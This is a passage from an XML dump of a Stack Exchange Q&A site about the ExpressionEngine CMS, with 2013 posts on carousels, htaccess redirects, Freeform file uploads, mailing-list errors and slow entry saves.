class=&quot;websymbol1&quot;&amp;gt;&amp;lt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;          &amp;lt;a class=&quot;carousel-control right&quot; href=&quot;#myCarousel&quot; data-slide=&quot;next&quot;&amp;gt;&amp;lt;i class=&quot;websymbol1&quot;&amp;gt;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;!--/ Carousel--&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}   &#xA;{/visitor:profiel_fotos}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="656" LastActivityDate="2013-02-27T21:50:27.560" Title="Matrix bootstrap carousel" Tags="|matrix|pixelandtonic|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6805" PostTypeId="1" AcceptedAnswerId="6808" CreationDate="2013-02-27T15:46:33.453" Score="3" ViewCount="186" Body="&lt;p&gt;I'm using the mailing list module as a newsletter signup form.  I want to edit the error text that is shown if the user doesn't fill out the form correctly.  Here is the error text:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;The username you chose is not available &lt;/li&gt;&#xA;  &lt;li&gt;List item the screen name you chose is not available &lt;/li&gt;&#xA;  &lt;li&gt;The email you chose is not available &lt;/li&gt;&#xA;  &lt;li&gt;Please type both words that appear in the image&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm not using captcha so the last bullet doesn't make any sense.  I simply with to remove that text.  Can someone please tell me where to do that?&lt;/p&gt;&#xA;" OwnerUserId="1076" LastActivityDate="2013-02-27T18:36:02.987" Title="Where to change text for Mailing List Form errors" Tags="|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6806" PostTypeId="2" ParentId="6786" CreationDate="2013-02-27T15:57:35.707" Score="2" Body="&lt;p&gt;First of all, you should know this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Search will always return channel entries.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using a dedicated table to store your data, you might also be using your own set of template tags to display the output of that data, circumventing the &lt;code&gt;exp:channel:entries&lt;/code&gt; tag. If that is indeed the case, and there is no relation between your custom data and channel entries, then you can't use Low Search to search/display your data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way of creating such a relationship is to build a custom fieldtype that relates a channel entry with the data in your custom table. You can then use &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/api&quot; rel=&quot;nofollow&quot;&gt;the search index API&lt;/a&gt; to generate custom data that is used in the Low Search index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the easiest route is probably changing your approach and &lt;em&gt;do&lt;/em&gt; store the data in the exp_channel_data table. This makes things much easier to integrate. You can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html&quot; rel=&quot;nofollow&quot;&gt;Channel Entries API&lt;/a&gt; to create/update/delete entries, extension hooks will be triggered when you do, so indexes are kept up to date automatically. Or you could use the same cron job to &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/manage#automate&quot; rel=&quot;nofollow&quot;&gt;automatically re-index the Low Search collections&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-02-27T15:57:35.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6807" PostTypeId="1" CreationDate="2013-02-27T16:12:50.210" Score="1" ViewCount="72" Body="&lt;p&gt;i've to assign a subfolder to each member so when &quot;User1&quot; uses the Assets field to upload his photo, this is stored in a subfolder &quot;main_upload_folder/user1_subfolder/&quot;. &#xA;When &quot;User2&quot; uses the Assets field to upload his photo, this is stored in a subfolder &quot;main_upload_folder/user2_subfolder/&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this for each member, so when user upload a photo other users can't see other's member photo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="1047" LastActivityDate="2013-02-27T17:47:04.603" Title="Assign different and specific subfolder to each Member with Assets" Tags="|assets|custom-fields|file-uploads|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6808" PostTypeId="2" ParentId="6805" CreationDate="2013-02-27T16:43:52.720" Score="1" Body="&lt;p&gt;If you want to edit the actual text of the 'message' then you need to edit the language files here: system/expressionengine/language/english/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want more control over the design of the templates etc then check out the Custom System Messages add-on &lt;a href=&quot;http://dvt.ee/csm&quot; rel=&quot;nofollow&quot;&gt;http://dvt.ee/csm&lt;/a&gt; ($12)&lt;/p&gt;&#xA;" OwnerUserId="463" LastActivityDate="2013-02-27T16:43:52.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6809" PostTypeId="1" AcceptedAnswerId="6811" CreationDate="2013-02-27T16:46:10.383" Score="1" ViewCount="583" Body="&lt;p&gt;Can anyone confirm for me that the best way to move entries from one channel to another is to export the entries, then import the entries? I can't find an addon that will map custom fields from one channel to the custom fields from another channel to make that move. (I ask because I'm optimizing the content model and hope to get rid of about ten channels with similar custom fields that can use categories instead to differentiate them.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1016" LastActivityDate="2013-02-27T17:17:32.280" Title="Bulk moving entries to a different channel" Tags="|channel-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6810" PostTypeId="1" AcceptedAnswerId="6820" CreationDate="2013-02-27T17:06:45.067" Score="1" ViewCount="1025" Body="&lt;p&gt;I need to redirect a page on a client site to an outside URL. I have been using the following redirect, which works - sort of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;redirect 301 /durhamchapelhill http://gds.chapelhilluumc.org&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the resulting URL is cluttered: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://gds.chapelhilluumc.org/?/durhamchapelhill&quot; rel=&quot;nofollow&quot;&gt;http://gds.chapelhilluumc.org/?/durhamchapelhill&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I sought help on StackOverflow and got a really good redirect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteRule ^durhamchapelhill$ http://gds.chapelhilluumc.org [R]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By itself, it does an awesome job and returns a nice clean URL. Which brings up the thorny issue of hiding the index.php page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before all of this started I was using the following to hide index.php and it works great:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is I need both (hide index.php and redirect).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the combination I tried:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;RewriteBase /&#xA;&#xA;RewriteRule ^durhamchapelhill$ http://gds.chapelhilluumc.org [R]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php?/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if I combine the two rules the redirect fails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an htaccess doctor in the house that can assist with setting this straight?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2013-02-27T17:26:28.750" LastActivityDate="2013-02-27T21:00:50.377" Title="htaccess: need help hiding index.php and doing a redirect without conflict?" Tags="|htaccess|redirects|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6811" PostTypeId="2" ParentId="6809" CreationDate="2013-02-27T17:17:32.280" Score="2" Body="&lt;p&gt;If you're not planning to do this via MySQL. Then I'd probably recommend the following add-ons to assist you in the process:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Andrew Weaver's &lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;AJW Export&lt;/a&gt; This will allow you to export your&#xA;items from the channels you want to remove as .csv or .xml to&#xA;re-import back into the system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Andrew Weaver's &lt;a href=&quot;http://devot-ee.com/add-ons/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; This will allow you to map the data&#xA;back into the system.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatives for exporting would be Eric Lambs, &lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt;. And an Alternative for importing would be Solspace's &lt;a href=&quot;http://devot-ee.com/add-ons/importer&quot; rel=&quot;nofollow&quot;&gt;Importer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I frequently just do MySQL queries, but when the jobs quick or needs to be repeated regularly, I admit Andrew and his company &lt;a href=&quot;http://brandnewbox.co.uk&quot; rel=&quot;nofollow&quot;&gt;BrandNewBox&lt;/a&gt; have been a godsend. It's like we share some data cleaning and migration synergy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't be afraid to add a spreadsheet in there to check that all the data came out properly formatted and ready to import back into the system. But overall, Andrew's stuff is easy to set-up, easy to use.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-02-27T17:17:32.280" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6812" PostTypeId="2" ParentId="6807" CreationDate="2013-02-27T17:27:31.183" Score="0" Body="&lt;p&gt;Alessio,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not possible with the current version of Assets.  It is something that we may consider for a future Assets version - but no guarantees right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Lisa&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-27T17:27:31.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6813" PostTypeId="2" ParentId="6804" CreationDate="2013-02-27T17:39:17.830" Score="2" Body="&lt;p&gt;Probably the most direct (although not necessarily the most efficient) way is something like the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{matrix_field:total_rows}' == 1}&#xA;    {exp:ce_img:single src=&quot;{profiel_fotobestand}&quot; width=&quot;600&quot; height=&quot;350&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;} &#xA;{/if}&#xA;&#xA;{if '{matrix_field:total_rows}' &amp;gt; 1}&#xA;&amp;lt;div id=&quot;myCarousel&quot; class=&quot;carousel slide&quot;&amp;gt;&#xA;    &amp;lt;ol class=&quot;carousel-indicators&quot;&amp;gt;&#xA;        {matrix_field}&#xA;            &amp;lt;li data-target=&quot;#myCarousel&quot; data-slide-to=&quot;{row_index}&quot; {if row_count == 1}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/matrix_field}&#xA;    &amp;lt;/ol&amp;gt;&#xA;&#xA;    &amp;lt;!-- Carousel items --&amp;gt;&#xA;    &amp;lt;div class=&quot;carousel-inner&quot;&amp;gt;&#xA;        {matrix_field}&#xA;            &amp;lt;div class=&quot;{if row_count == 1}active{/if} item&quot;&amp;gt;&#xA;                {exp:ce_img:single src=&quot;{profiel_fotobestand}&quot; width=&quot;600&quot; height=&quot;350&quot; crop=&quot;y&quot; allow_scale_larger=&quot;yes&quot;}&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/matrix_field}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;!-- Carousel nav --&amp;gt;&#xA;    &amp;lt;a class=&quot;carousel-control left&quot; href=&quot;#myCarousel&quot; data-slide=&quot;prev&quot;&amp;gt;&amp;lt;i class=&quot;websymbol1&quot;&amp;gt;&amp;amp;lt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;a class=&quot;carousel-control right&quot; href=&quot;#myCarousel&quot; data-slide=&quot;next&quot;&amp;gt;&amp;lt;i class=&quot;websymbol1&quot;&amp;gt;&amp;amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also build the pagers with a javascript function to eliminate an extra matrix loop, or use something like &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; to loop through once and get the pager and slides in different containers.&lt;/p&gt;&#xA;" OwnerUserId="787" LastEditorUserId="787" LastEditDate="2013-02-27T21:50:27.560" LastActivityDate="2013-02-27T21:50:27.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6814" PostTypeId="2" ParentId="6807" CreationDate="2013-02-27T17:47:04.603" Score="2" Body="&lt;p&gt;This is the exact reason why I choose Channel Images in this case. With Channel Images you can choose if a user can see the stored images and if so, you can choose to show all or only the users images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if a user deletes the entry, the image will be deleted as well (which is also a hazard I experienced, not sure if this can be set)&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-02-27T17:47:04.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6815" PostTypeId="2" ParentId="6805" CreationDate="2013-02-27T18:36:02.987" Score="1" Body="&lt;p&gt;OR - go to CP -&gt; Tools -&gt; Utilities -&gt; Translation Utility&#xA;you need to edit &quot;mailinglist_lang.php&quot;&lt;/p&gt;&#xA;" OwnerUserId="993" LastActivityDate="2013-02-27T18:36:02.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6816" PostTypeId="2" ParentId="5633" CreationDate="2013-02-27T18:36:56.093" Score="1" Body="&lt;p&gt;First, try to enable Early Parsing on the Low Variable in question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work, then it's because by the time Freeform gets it the value will still be {var_email}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a related note, I actually requested the use of {webmaster_email} as a feature to SolSpace a while back: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/966/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/966/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if they have fixed this or not but this is how I hacked it to work back then:&#xA;&lt;a href=&quot;http://www.solspace.com/forums/viewthread/966/#41796&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/forums/viewthread/966/#41796&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar will work for you if you don't have an issue with hacking the core. Instead of fetching {webmaster_email} from the config you need to fetch the global variable named &quot;var_email&quot;. This may or may not have been loaded at the time, so add this function to fetch it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;private function get_gv($variable_name)&#xA;    {&#xA;        if(!isset($this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars[$variable_name])) {&#xA;            $q = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where('global_variables', array('variable_name' =&amp;gt; $variable_name));&#xA;            if($q-&amp;gt;num_rows() &amp;gt; 0) {&#xA;                return $q-&amp;gt;row('variable_data');&#xA;            }&#xA;        } else {&#xA;            return $this-&amp;gt;EE-&amp;gt;config-&amp;gt;_global_vars[$variable_name];&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So (in that version of Freeform) this would be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($this-&amp;gt;params['ee_notify'] == '{var_email}') { $this-&amp;gt;params['ee_notify'] = $this-&amp;gt;get_gv('var_email'); } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Good luck :-)&lt;/p&gt;&#xA;" OwnerUserId="189" LastActivityDate="2013-02-27T18:36:56.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6817" PostTypeId="2" ParentId="6803" CreationDate="2013-02-27T18:57:24.883" Score="0" Body="&lt;p&gt;Sounds like you're using SMTP as your mail protocol, but either you haven't put proper credentials in, or your host doesn't support it. Try switching to Mail as your email protocol.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-02-27T18:57:24.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6819" PostTypeId="1" CreationDate="2013-02-27T20:59:46.423" Score="2" ViewCount="134" Body="&lt;p&gt;My organization's site in running EE 1.6.8 hosted on Rackspace Cloud Sites.  In the last few weeks we have noticed that it takes longer and longer to update an entry in the control panel.  We are now at approximately 20-30 seconds from the time we click &quot;Update&quot; to when we get the preview screen verifying the entry has been updated.  Other aspects of the CP load quickly like opening entries or viewing entries in a particular category.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange thing is that we have a staging version of the site also hosted on Rackspace Cloud Sites that has its own database but it is just a copy of the live site and the stage site CP updates entries quickly - 2 seconds max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front end of both run okay as well.  For some reason it just seems like the live site hangs when writing new info to the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the debug info from the bottom of the preview screen of an updated entry:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExpressionEngine 1.6.8 - © Copyright 2003 - 2009 - EllisLab, Inc.&#xA;  Script executed in 0.4475 seconds   19 SQL queries used&#xA;  Build:  20090915&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;0.4475 seconds ?  More like 25 seconds in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both sites have the same DB, site files, addons etc what are your guesses for the slowness?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1079" LastActivityDate="2013-02-27T21:16:26.447" Title="Entries take a long time to update on live site. EE 1.6.8" Tags="|control-panel|ee1|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6820" PostTypeId="2" ParentId="6810" CreationDate="2013-02-27T21:00:50.377" Score="1" Body="&lt;p&gt;Here are three variations to try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^durhamchapelhill$ http://gds.chapelhilluumc.org [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^durhamchapelhill http://gds.chapelhilluumc.org [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OR&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^durhamchapelhill(.*)$ http://gds.chapelhilluumc.org$1 [R,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-27T21:00:50.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6821" PostTypeId="1" AcceptedAnswerId="6909" CreationDate="2013-02-27T21:02:50.967" Score="6" ViewCount="2268" Body="&lt;p&gt;I have a form that has a file field on it. I think I am missing something simple. The code for the form is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form form_name=&quot;product_support&quot; required=&quot;customer_name|email&quot; return=&quot;contact/thanks&quot; notify_admin=&quot;yes&quot; admin_notification_template=&quot;product_support&quot; form:id=&quot;freeform&quot; form:class=&quot;contact-form&quot;}&#xA;&amp;lt;label for=&quot;support-logs&quot;&amp;gt;Upload error logs as a zip file&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;file&quot; id=&quot;support-logs&quot; name=&quot;file1&quot;&amp;gt;&#xA;&amp;lt;button type=&quot;submit&quot; class=&quot;submit bordered blue arrow&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The form submits and all of the values are stored but for whatever reason the file that was specified does not get saved. I have verified that in FreeForm 4.0.10 the field exists, is assigned to the proper form and has file upload as it's type. I also verified that the location on the server exists and is set to 777.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seemed to be more parameters with FreeForm 3.x so I was looking for those in the documents but did not see them. Perhaps I am missing things like file_upload/allowed_file_types and the like? Or maybe the CP settings have taken over this functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thoughts? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANSWER:&#xA;Since StackExchange won't allow me to answer my question yet I'll edit here to give the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed the input field for the file upload to a FreeForm field like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:file1 show=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Works like a charm now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="220" LastEditorUserId="220" LastEditDate="2013-02-27T21:28:48.033" LastActivityDate="2020-04-14T00:10:44.947" Title="FreeForm File Upload" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6822" PostTypeId="2" ParentId="6803" CreationDate="2013-02-27T21:04:33.493" Score="0" Body="&lt;p&gt;There may be additional information if you turn on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/email_configuration.html#enable-email-debugging&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Enable Email Debugging&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When this option is enabled, detailed messages will be displayed whenever you send an email using the Communicate page. This information can be useful in helping to track down any problems you may be experiencing. If you are having difficulty sending email you are encouraged to enable this option.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then sent test messages from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/communicate.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Communicate page&lt;/strong&gt;&lt;/a&gt; to see the debugging details.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-27T21:04:33.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6823" PostTypeId="1" CreationDate="2013-02-27T21:08:58.450" Score="0" ViewCount="121" Body="&lt;p&gt;I am trying to use low variables to create a dynamic page that shows all the entries from a given year and am having some difficulty in creating the resulting dynamic page. &lt;/p&gt;&#xA;" OwnerUserId="1081" LastActivityDate="2013-02-27T22:08:12.730" Title="How do I use low variable to create a yearly archive?" Tags="|low-variables|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6824" PostTypeId="2" ParentId="6819" CreationDate="2013-02-27T21:16:26.447" Score="2" Body="&lt;p&gt;Several things to look at:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using EE caching on templates (page or tag), try disabling all caching. EE clears the cache when entries are saves so it's possible there is a hangup with the clearing. Make sure your cache directory is set to 777.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Take a look at the Network tab in Firefox to see what you can see. You're looking for any errors or any part of the page load that is getting delayed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open phpMyAdmin or whatever tool you use for connecting to the DB and run a SHOW PROCESSLIST query while you are saving an entry to see if there is some holdup with a specific query. In phpMyAdmin, you can also load the Processes tab to see this info (&lt;a href=&quot;http://screencast.com/t/G7DONsI7Fu9&quot; rel=&quot;nofollow&quot;&gt;http://screencast.com/t/G7DONsI7Fu9&lt;/a&gt;). If you keep refreshing that page as the editing delay is occurring, you can see updated info.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check your php error log. There may be clues there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-02-27T21:16:26.447" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6825" PostTypeId="2" ParentId="3667" CreationDate="2013-02-27T21:16:44.623" Score="1" Body="&lt;p&gt;Finally got to the bottom of this. The issue wasn't even with the &lt;code&gt;{item:stamping}&lt;/code&gt; field, it was with another one (SKU) that the site manager's fill in. On a few products the SKU included &lt;code&gt;&quot;&lt;/code&gt; and that's what was causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I simply changed the code to use single quotes and everything is working great:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{if '{item:cf_products_sku}' != &quot;&quot;}SKU #{item:cf_products_sku}&amp;lt;br /&amp;gt;{/if}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-12-17T22:28:15.863" LastActivityDate="2013-12-17T22:28:15.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6826" PostTypeId="2" ParentId="6823" CreationDate="2013-02-27T21:20:30.780" Score="5" Body="&lt;p&gt;Have you considered another of Low's add-ons? &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot;&gt;Low Yearly Archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-27T21:20:30.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6827" PostTypeId="2" ParentId="6821" CreationDate="2013-02-27T21:26:32.997" Score="0" Body="&lt;p&gt;Can you add a parameter like?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;enctype=&quot;multipart/form-data&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="353" LastActivityDate="2013-02-27T21:26:32.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6828" PostTypeId="1" AcceptedAnswerId="6829" CreationDate="2013-02-27T21:44:01.733" Score="2" ViewCount="310" Body="&lt;p&gt;I have set the system to offline and double checked this in my config file, yet it doesn't work, I can still view the site when logged out. I have tried on different browsers and devices but the site still shows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE version v2.5.3 with MSM installed. Have tried this on 2 of the sites on this install with the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1082" LastActivityDate="2013-11-16T12:38:39.320" Title="System Offline not working" Tags="|system-messages|system|offline|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6829" PostTypeId="2" ParentId="6828" CreationDate="2013-02-27T21:54:59.707" Score="3" Body="&lt;p&gt;First, make sure you're not logged in as Superadmin.  Then also double check that your &quot;Guest&quot; group is not set to be able to view the site when offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully one of those two things is it. :)&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-02-27T21:54:59.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6830" PostTypeId="2" ParentId="6823" CreationDate="2013-02-27T22:08:12.730" Score="1" Body="&lt;p&gt;You can also try adding a dynamic url parameter to the channel:entries tag. I had a site where I needed yearly posts with pagination and used the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{channel_name}&quot; dynamic=&quot;no&quot; &#xA;    start_on=&quot;{if segment_4}{segment_4}-01-01 00:01{/if}&quot;&#xA;    stop_before=&quot;{if segment_4}{segment_4}-12-31 24:59{/if}&quot;}&#xA;&#xA;   {!-- content goes here --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My &lt;code&gt;{segment_4}&lt;/code&gt; was just a 4 digit year like &lt;code&gt;2012&lt;/code&gt;&#xA;Not the most elegant solution in the world, but it worked. :)&lt;/p&gt;&#xA;" OwnerUserId="787" LastActivityDate="2013-02-27T22:08:12.730" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
